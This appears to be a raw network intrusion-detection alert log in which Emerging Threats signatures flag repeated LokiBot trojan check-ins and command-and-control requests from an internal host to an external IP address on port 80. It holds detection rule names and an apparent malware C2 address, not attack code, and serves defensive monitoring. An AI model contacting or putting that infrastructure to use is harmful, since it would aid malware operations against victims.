11/25/21-10:50:15.146124	TCP	2025381	ET TROJAN LokiBot Checkin	50087	80	192.168.11.20	176.223.209.128
11/25/21-10:50:15.146124	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50087	80	192.168.11.20	176.223.209.128
11/25/21-10:50:15.653331	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50088	80	192.168.11.20	176.223.209.128
11/25/21-10:50:15.653331	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50088	80	192.168.11.20	176.223.209.128
11/25/21-10:50:15.653331	TCP	2025381	ET TROJAN LokiBot Checkin	50088	80	192.168.11.20	176.223.209.128
11/25/21-10:50:15.653331	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50088	80	192.168.11.20	176.223.209.128
11/25/21-10:50:16.166462	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50089	80	192.168.11.20	176.223.209.128
11/25/21-10:50:16.166462	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50089	80	192.168.11.20	176.223.209.128
11/25/21-10:50:16.166462	TCP	2025381	ET TROJAN LokiBot Checkin	50089	80	192.168.11.20	176.223.209.128
11/25/21-10:50:16.166462	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50089	80	192.168.11.20	176.223.209.128
11/25/21-10:50:16.686571	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50090	80	192.168.11.20	176.223.209.128
11/25/21-10:50:16.686571	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50090	80	192.168.11.20	176.223.209.128
11/25/21-10:50:16.686571	TCP	2025381	ET TROJAN LokiBot Checkin	50090	80	192.168.11.20	176.223.209.128
11/25/21-10:50:16.686571	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50090	80	192.168.11.20	176.223.209.128
11/25/21-10:50:17.195199	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50091	80	192.168.11.20	176.223.209.128
11/25/21-10:50:17.195199	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50091	80	192.168.11.20	176.223.209.128
11/25/21-10:50:17.195199	TCP	2025381	ET TROJAN LokiBot Checkin	50091	80	192.168.11.20	176.223.209.128
11/25/21-10:50:17.195199	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50091	80	192.168.11.20	176.223.209.128
11/25/21-10:50:17.638429	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50092	80	192.168.11.20	176.223.209.128
11/25/21-10:50:17.638429	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50092	80	192.168.11.20	176.223.209.128
11/25/21-10:50:17.638429	TCP	2025381	ET TROJAN LokiBot Checkin	50092	80	192.168.11.20	176.223.209.128
11/25/21-10:50:17.638429	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50092	80	192.168.11.20	176.223.209.128
11/25/21-10:50:18.158986	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50093	80	192.168.11.20	176.223.209.128
11/25/21-10:50:18.158986	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50093	80	192.168.11.20	176.223.209.128
11/25/21-10:50:18.158986	TCP	2025381	ET TROJAN LokiBot Checkin	50093	80	192.168.11.20	176.223.209.128
11/25/21-10:50:18.158986	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50093	80	192.168.11.20	176.223.209.128
11/25/21-10:50:18.673645	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50094	80	192.168.11.20	176.223.209.128
11/25/21-10:50:18.673645	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50094	80	192.168.11.20	176.223.209.128
11/25/21-10:50:18.673645	TCP	2025381	ET TROJAN LokiBot Checkin	50094	80	192.168.11.20	176.223.209.128
11/25/21-10:50:18.673645	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50094	80	192.168.11.20	176.223.209.128
11/25/21-10:50:19.184222	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50095	80	192.168.11.20	176.223.209.128
11/25/21-10:50:19.184222	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50095	80	192.168.11.20	176.223.209.128
11/25/21-10:50:19.184222	TCP	2025381	ET TROJAN LokiBot Checkin	50095	80	192.168.11.20	176.223.209.128
11/25/21-10:50:19.184222	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50095	80	192.168.11.20	176.223.209.128
11/25/21-10:50:19.685636	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50096	80	192.168.11.20	176.223.209.128
11/25/21-10:50:19.685636	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50096	80	192.168.11.20	176.223.209.128
11/25/21-10:50:19.685636	TCP	2025381	ET TROJAN LokiBot Checkin	50096	80	192.168.11.20	176.223.209.128
11/25/21-10:50:19.685636	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50096	80	192.168.11.20	176.223.209.128
11/25/21-10:50:20.207253	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50097	80	192.168.11.20	176.223.209.128
11/25/21-10:50:20.207253	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50097	80	192.168.11.20	176.223.209.128
11/25/21-10:50:20.207253	TCP	2025381	ET TROJAN LokiBot Checkin	50097	80	192.168.11.20	176.223.209.128
11/25/21-10:50:20.207253	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50097	80	192.168.11.20	176.223.209.128
11/25/21-10:50:20.723424	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50098	80	192.168.11.20	176.223.209.128
11/25/21-10:50:20.723424	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50098	80	192.168.11.20	176.223.209.128
11/25/21-10:50:20.723424	TCP	2025381	ET TROJAN LokiBot Checkin	50098	80	192.168.11.20	176.223.209.128
11/25/21-10:50:20.723424	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50098	80	192.168.11.20	176.223.209.128
11/25/21-10:50:21.159997	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50099	80	192.168.11.20	176.223.209.128
11/25/21-10:50:21.159997	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50099	80	192.168.11.20	176.223.209.128
11/25/21-10:50:21.159997	TCP	2025381	ET TROJAN LokiBot Checkin	50099	80	192.168.11.20	176.223.209.128
11/25/21-10:50:21.159997	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50099	80	192.168.11.20	176.223.209.128
11/25/21-10:50:21.648991	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50100	80	192.168.11.20	176.223.209.128
11/25/21-10:50:21.648991	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50100	80	192.168.11.20	176.223.209.128
11/25/21-10:50:21.648991	TCP	2025381	ET TROJAN LokiBot Checkin	50100	80	192.168.11.20	176.223.209.128
11/25/21-10:50:21.648991	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50100	80	192.168.11.20	176.223.209.128
11/25/21-10:50:22.166713	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50101	80	192.168.11.20	176.223.209.128
11/25/21-10:50:22.166713	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50101	80	192.168.11.20	176.223.209.128
11/25/21-10:50:22.166713	TCP	2025381	ET TROJAN LokiBot Checkin	50101	80	192.168.11.20	176.223.209.128
11/25/21-10:50:22.166713	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50101	80	192.168.11.20	176.223.209.128
11/25/21-10:50:22.680856	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50102	80	192.168.11.20	176.223.209.128
11/25/21-10:50:22.680856	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50102	80	192.168.11.20	176.223.209.128
11/25/21-10:50:22.680856	TCP	2025381	ET TROJAN LokiBot Checkin	50102	80	192.168.11.20	176.223.209.128
11/25/21-10:50:22.680856	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50102	80	192.168.11.20	176.223.209.128
11/25/21-10:50:23.190149	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50103	80	192.168.11.20	176.223.209.128
11/25/21-10:50:23.190149	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50103	80	192.168.11.20	176.223.209.128
11/25/21-10:50:23.190149	TCP	2025381	ET TROJAN LokiBot Checkin	50103	80	192.168.11.20	176.223.209.128
11/25/21-10:50:23.190149	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50103	80	192.168.11.20	176.223.209.128
11/25/21-10:50:23.717956	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50104	80	192.168.11.20	176.223.209.128
11/25/21-10:50:23.717956	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50104	80	192.168.11.20	176.223.209.128
11/25/21-10:50:23.717956	TCP	2025381	ET TROJAN LokiBot Checkin	50104	80	192.168.11.20	176.223.209.128
11/25/21-10:50:23.717956	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50104	80	192.168.11.20	176.223.209.128
11/25/21-10:50:24.185756	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50105	80	192.168.11.20	176.223.209.128
11/25/21-10:50:24.185756	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50105	80	192.168.11.20	176.223.209.128
11/25/21-10:50:24.185756	TCP	2025381	ET TROJAN LokiBot Checkin	50105	80	192.168.11.20	176.223.209.128
11/25/21-10:50:24.185756	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50105	80	192.168.11.20	176.223.209.128
11/25/21-10:50:24.703007	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50106	80	192.168.11.20	176.223.209.128
11/25/21-10:50:24.703007	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50106	80	192.168.11.20	176.223.209.128
11/25/21-10:50:24.703007	TCP	2025381	ET TROJAN LokiBot Checkin	50106	80	192.168.11.20	176.223.209.128
11/25/21-10:50:24.703007	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50106	80	192.168.11.20	176.223.209.128
11/25/21-10:50:25.332854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50107	80	192.168.11.20	176.223.209.128
11/25/21-10:50:25.332854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50107	80	192.168.11.20	176.223.209.128
11/25/21-10:50:25.332854	TCP	2025381	ET TROJAN LokiBot Checkin	50107	80	192.168.11.20	176.223.209.128
11/25/21-10:50:25.332854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50107	80	192.168.11.20	176.223.209.128
11/25/21-10:50:26.078077	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50108	80	192.168.11.20	176.223.209.128
11/25/21-10:50:26.078077	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50108	80	192.168.11.20	176.223.209.128
11/25/21-10:50:26.078077	TCP	2025381	ET TROJAN LokiBot Checkin	50108	80	192.168.11.20	176.223.209.128
11/25/21-10:50:26.078077	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50108	80	192.168.11.20	176.223.209.128
11/25/21-10:50:26.807858	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50109	80	192.168.11.20	176.223.209.128
11/25/21-10:50:26.807858	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50109	80	192.168.11.20	176.223.209.128
11/25/21-10:50:26.807858	TCP	2025381	ET TROJAN LokiBot Checkin	50109	80	192.168.11.20	176.223.209.128
11/25/21-10:50:26.807858	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50109	80	192.168.11.20	176.223.209.128
11/25/21-10:50:27.596260	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50110	80	192.168.11.20	176.223.209.128
11/25/21-10:50:27.596260	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50110	80	192.168.11.20	176.223.209.128
11/25/21-10:50:27.596260	TCP	2025381	ET TROJAN LokiBot Checkin	50110	80	192.168.11.20	176.223.209.128
11/25/21-10:50:27.596260	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50110	80	192.168.11.20	176.223.209.128
11/25/21-10:50:28.402048	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50111	80	192.168.11.20	176.223.209.128
11/25/21-10:50:28.402048	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50111	80	192.168.11.20	176.223.209.128
11/25/21-10:50:28.402048	TCP	2025381	ET TROJAN LokiBot Checkin	50111	80	192.168.11.20	176.223.209.128
11/25/21-10:50:28.402048	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50111	80	192.168.11.20	176.223.209.128
11/25/21-10:50:28.896038	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50112	80	192.168.11.20	176.223.209.128
11/25/21-10:50:28.896038	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50112	80	192.168.11.20	176.223.209.128
11/25/21-10:50:28.896038	TCP	2025381	ET TROJAN LokiBot Checkin	50112	80	192.168.11.20	176.223.209.128
11/25/21-10:50:28.896038	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50112	80	192.168.11.20	176.223.209.128
11/25/21-10:50:29.419476	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50113	80	192.168.11.20	176.223.209.128
11/25/21-10:50:29.419476	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50113	80	192.168.11.20	176.223.209.128
11/25/21-10:50:29.419476	TCP	2025381	ET TROJAN LokiBot Checkin	50113	80	192.168.11.20	176.223.209.128
11/25/21-10:50:29.419476	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50113	80	192.168.11.20	176.223.209.128
11/25/21-10:50:29.941230	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50114	80	192.168.11.20	176.223.209.128
11/25/21-10:50:29.941230	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50114	80	192.168.11.20	176.223.209.128
11/25/21-10:50:29.941230	TCP	2025381	ET TROJAN LokiBot Checkin	50114	80	192.168.11.20	176.223.209.128
11/25/21-10:50:29.941230	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50114	80	192.168.11.20	176.223.209.128
11/25/21-10:50:30.460479	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50115	80	192.168.11.20	176.223.209.128
11/25/21-10:50:30.460479	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50115	80	192.168.11.20	176.223.209.128
11/25/21-10:50:30.460479	TCP	2025381	ET TROJAN LokiBot Checkin	50115	80	192.168.11.20	176.223.209.128
11/25/21-10:50:30.460479	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50115	80	192.168.11.20	176.223.209.128
11/25/21-10:50:30.962182	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50116	80	192.168.11.20	176.223.209.128
11/25/21-10:50:30.962182	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50116	80	192.168.11.20	176.223.209.128
11/25/21-10:50:30.962182	TCP	2025381	ET TROJAN LokiBot Checkin	50116	80	192.168.11.20	176.223.209.128
11/25/21-10:50:30.962182	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50116	80	192.168.11.20	176.223.209.128
11/25/21-10:50:31.469315	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50117	80	192.168.11.20	176.223.209.128
11/25/21-10:50:31.469315	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50117	80	192.168.11.20	176.223.209.128
11/25/21-10:50:31.469315	TCP	2025381	ET TROJAN LokiBot Checkin	50117	80	192.168.11.20	176.223.209.128
11/25/21-10:50:31.469315	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50117	80	192.168.11.20	176.223.209.128
11/25/21-10:50:31.996695	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50118	80	192.168.11.20	176.223.209.128
11/25/21-10:50:31.996695	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50118	80	192.168.11.20	176.223.209.128
11/25/21-10:50:31.996695	TCP	2025381	ET TROJAN LokiBot Checkin	50118	80	192.168.11.20	176.223.209.128
11/25/21-10:50:31.996695	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50118	80	192.168.11.20	176.223.209.128
11/25/21-10:50:32.501488	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50119	80	192.168.11.20	176.223.209.128
11/25/21-10:50:32.501488	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50119	80	192.168.11.20	176.223.209.128
11/25/21-10:50:32.501488	TCP	2025381	ET TROJAN LokiBot Checkin	50119	80	192.168.11.20	176.223.209.128
11/25/21-10:50:32.501488	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50119	80	192.168.11.20	176.223.209.128
11/25/21-10:50:33.031278	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50120	80	192.168.11.20	176.223.209.128
11/25/21-10:50:33.031278	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50120	80	192.168.11.20	176.223.209.128
11/25/21-10:50:33.031278	TCP	2025381	ET TROJAN LokiBot Checkin	50120	80	192.168.11.20	176.223.209.128
11/25/21-10:50:33.031278	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50120	80	192.168.11.20	176.223.209.128
11/25/21-10:50:33.541841	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50121	80	192.168.11.20	176.223.209.128
11/25/21-10:50:33.541841	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50121	80	192.168.11.20	176.223.209.128
11/25/21-10:50:33.541841	TCP	2025381	ET TROJAN LokiBot Checkin	50121	80	192.168.11.20	176.223.209.128
11/25/21-10:50:33.541841	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50121	80	192.168.11.20	176.223.209.128
11/25/21-10:50:34.090399	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50122	80	192.168.11.20	176.223.209.128
11/25/21-10:50:34.090399	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50122	80	192.168.11.20	176.223.209.128
11/25/21-10:50:34.090399	TCP	2025381	ET TROJAN LokiBot Checkin	50122	80	192.168.11.20	176.223.209.128
11/25/21-10:50:34.090399	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50122	80	192.168.11.20	176.223.209.128
11/25/21-10:50:34.608634	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50123	80	192.168.11.20	176.223.209.128
11/25/21-10:50:34.608634	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50123	80	192.168.11.20	176.223.209.128
11/25/21-10:50:34.608634	TCP	2025381	ET TROJAN LokiBot Checkin	50123	80	192.168.11.20	176.223.209.128
11/25/21-10:50:34.608634	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50123	80	192.168.11.20	176.223.209.128
11/25/21-10:50:35.099444	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50124	80	192.168.11.20	176.223.209.128
11/25/21-10:50:35.099444	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50124	80	192.168.11.20	176.223.209.128
11/25/21-10:50:35.099444	TCP	2025381	ET TROJAN LokiBot Checkin	50124	80	192.168.11.20	176.223.209.128
11/25/21-10:50:35.099444	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50124	80	192.168.11.20	176.223.209.128
11/25/21-10:50:35.566498	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50125	80	192.168.11.20	176.223.209.128
11/25/21-10:50:35.566498	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50125	80	192.168.11.20	176.223.209.128
11/25/21-10:50:35.566498	TCP	2025381	ET TROJAN LokiBot Checkin	50125	80	192.168.11.20	176.223.209.128
11/25/21-10:50:35.566498	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50125	80	192.168.11.20	176.223.209.128
11/25/21-10:50:36.059383	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50126	80	192.168.11.20	176.223.209.128
11/25/21-10:50:36.059383	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50126	80	192.168.11.20	176.223.209.128
11/25/21-10:50:36.059383	TCP	2025381	ET TROJAN LokiBot Checkin	50126	80	192.168.11.20	176.223.209.128
11/25/21-10:50:36.059383	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50126	80	192.168.11.20	176.223.209.128
11/25/21-10:50:36.558923	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50127	80	192.168.11.20	176.223.209.128
11/25/21-10:50:36.558923	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50127	80	192.168.11.20	176.223.209.128
11/25/21-10:50:36.558923	TCP	2025381	ET TROJAN LokiBot Checkin	50127	80	192.168.11.20	176.223.209.128
11/25/21-10:50:36.558923	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50127	80	192.168.11.20	176.223.209.128
11/25/21-10:50:37.058804	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50128	80	192.168.11.20	176.223.209.128
11/25/21-10:50:37.058804	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50128	80	192.168.11.20	176.223.209.128
11/25/21-10:50:37.058804	TCP	2025381	ET TROJAN LokiBot Checkin	50128	80	192.168.11.20	176.223.209.128
11/25/21-10:50:37.058804	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50128	80	192.168.11.20	176.223.209.128
11/25/21-10:50:37.561802	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50129	80	192.168.11.20	176.223.209.128
11/25/21-10:50:37.561802	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50129	80	192.168.11.20	176.223.209.128
11/25/21-10:50:37.561802	TCP	2025381	ET TROJAN LokiBot Checkin	50129	80	192.168.11.20	176.223.209.128
11/25/21-10:50:37.561802	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50129	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.063390	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50130	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.063390	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50130	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.063390	TCP	2025381	ET TROJAN LokiBot Checkin	50130	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.063390	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50130	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.501799	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50131	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.501799	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50131	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.501799	TCP	2025381	ET TROJAN LokiBot Checkin	50131	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.501799	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50131	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.984853	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50132	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.984853	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50132	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.984853	TCP	2025381	ET TROJAN LokiBot Checkin	50132	80	192.168.11.20	176.223.209.128
11/25/21-10:50:38.984853	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50132	80	192.168.11.20	176.223.209.128
11/25/21-10:50:39.497980	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50133	80	192.168.11.20	176.223.209.128
11/25/21-10:50:39.497980	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50133	80	192.168.11.20	176.223.209.128
11/25/21-10:50:39.497980	TCP	2025381	ET TROJAN LokiBot Checkin	50133	80	192.168.11.20	176.223.209.128
11/25/21-10:50:39.497980	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50133	80	192.168.11.20	176.223.209.128
11/25/21-10:50:40.012551	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50134	80	192.168.11.20	176.223.209.128
11/25/21-10:50:40.012551	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50134	80	192.168.11.20	176.223.209.128
11/25/21-10:50:40.012551	TCP	2025381	ET TROJAN LokiBot Checkin	50134	80	192.168.11.20	176.223.209.128
11/25/21-10:50:40.012551	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50134	80	192.168.11.20	176.223.209.128
11/25/21-10:50:40.520116	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50135	80	192.168.11.20	176.223.209.128
11/25/21-10:50:40.520116	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50135	80	192.168.11.20	176.223.209.128
11/25/21-10:50:40.520116	TCP	2025381	ET TROJAN LokiBot Checkin	50135	80	192.168.11.20	176.223.209.128
11/25/21-10:50:40.520116	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50135	80	192.168.11.20	176.223.209.128
11/25/21-10:50:41.030705	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50136	80	192.168.11.20	176.223.209.128
11/25/21-10:50:41.030705	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50136	80	192.168.11.20	176.223.209.128
11/25/21-10:50:41.030705	TCP	2025381	ET TROJAN LokiBot Checkin	50136	80	192.168.11.20	176.223.209.128
11/25/21-10:50:41.030705	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50136	80	192.168.11.20	176.223.209.128
11/25/21-10:50:41.524484	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50137	80	192.168.11.20	176.223.209.128
11/25/21-10:50:41.524484	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50137	80	192.168.11.20	176.223.209.128
11/25/21-10:50:41.524484	TCP	2025381	ET TROJAN LokiBot Checkin	50137	80	192.168.11.20	176.223.209.128
11/25/21-10:50:41.524484	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50137	80	192.168.11.20	176.223.209.128
11/25/21-10:50:42.040785	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50138	80	192.168.11.20	176.223.209.128
11/25/21-10:50:42.040785	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50138	80	192.168.11.20	176.223.209.128
11/25/21-10:50:42.040785	TCP	2025381	ET TROJAN LokiBot Checkin	50138	80	192.168.11.20	176.223.209.128
11/25/21-10:50:42.040785	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50138	80	192.168.11.20	176.223.209.128
11/25/21-10:50:42.534729	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50139	80	192.168.11.20	176.223.209.128
11/25/21-10:50:42.534729	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50139	80	192.168.11.20	176.223.209.128
11/25/21-10:50:42.534729	TCP	2025381	ET TROJAN LokiBot Checkin	50139	80	192.168.11.20	176.223.209.128
11/25/21-10:50:42.534729	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50139	80	192.168.11.20	176.223.209.128
11/25/21-10:50:43.037329	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50140	80	192.168.11.20	176.223.209.128
11/25/21-10:50:43.037329	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50140	80	192.168.11.20	176.223.209.128
11/25/21-10:50:43.037329	TCP	2025381	ET TROJAN LokiBot Checkin	50140	80	192.168.11.20	176.223.209.128
11/25/21-10:50:43.037329	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50140	80	192.168.11.20	176.223.209.128
11/25/21-10:50:43.557051	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50141	80	192.168.11.20	176.223.209.128
11/25/21-10:50:43.557051	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50141	80	192.168.11.20	176.223.209.128
11/25/21-10:50:43.557051	TCP	2025381	ET TROJAN LokiBot Checkin	50141	80	192.168.11.20	176.223.209.128
11/25/21-10:50:43.557051	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50141	80	192.168.11.20	176.223.209.128
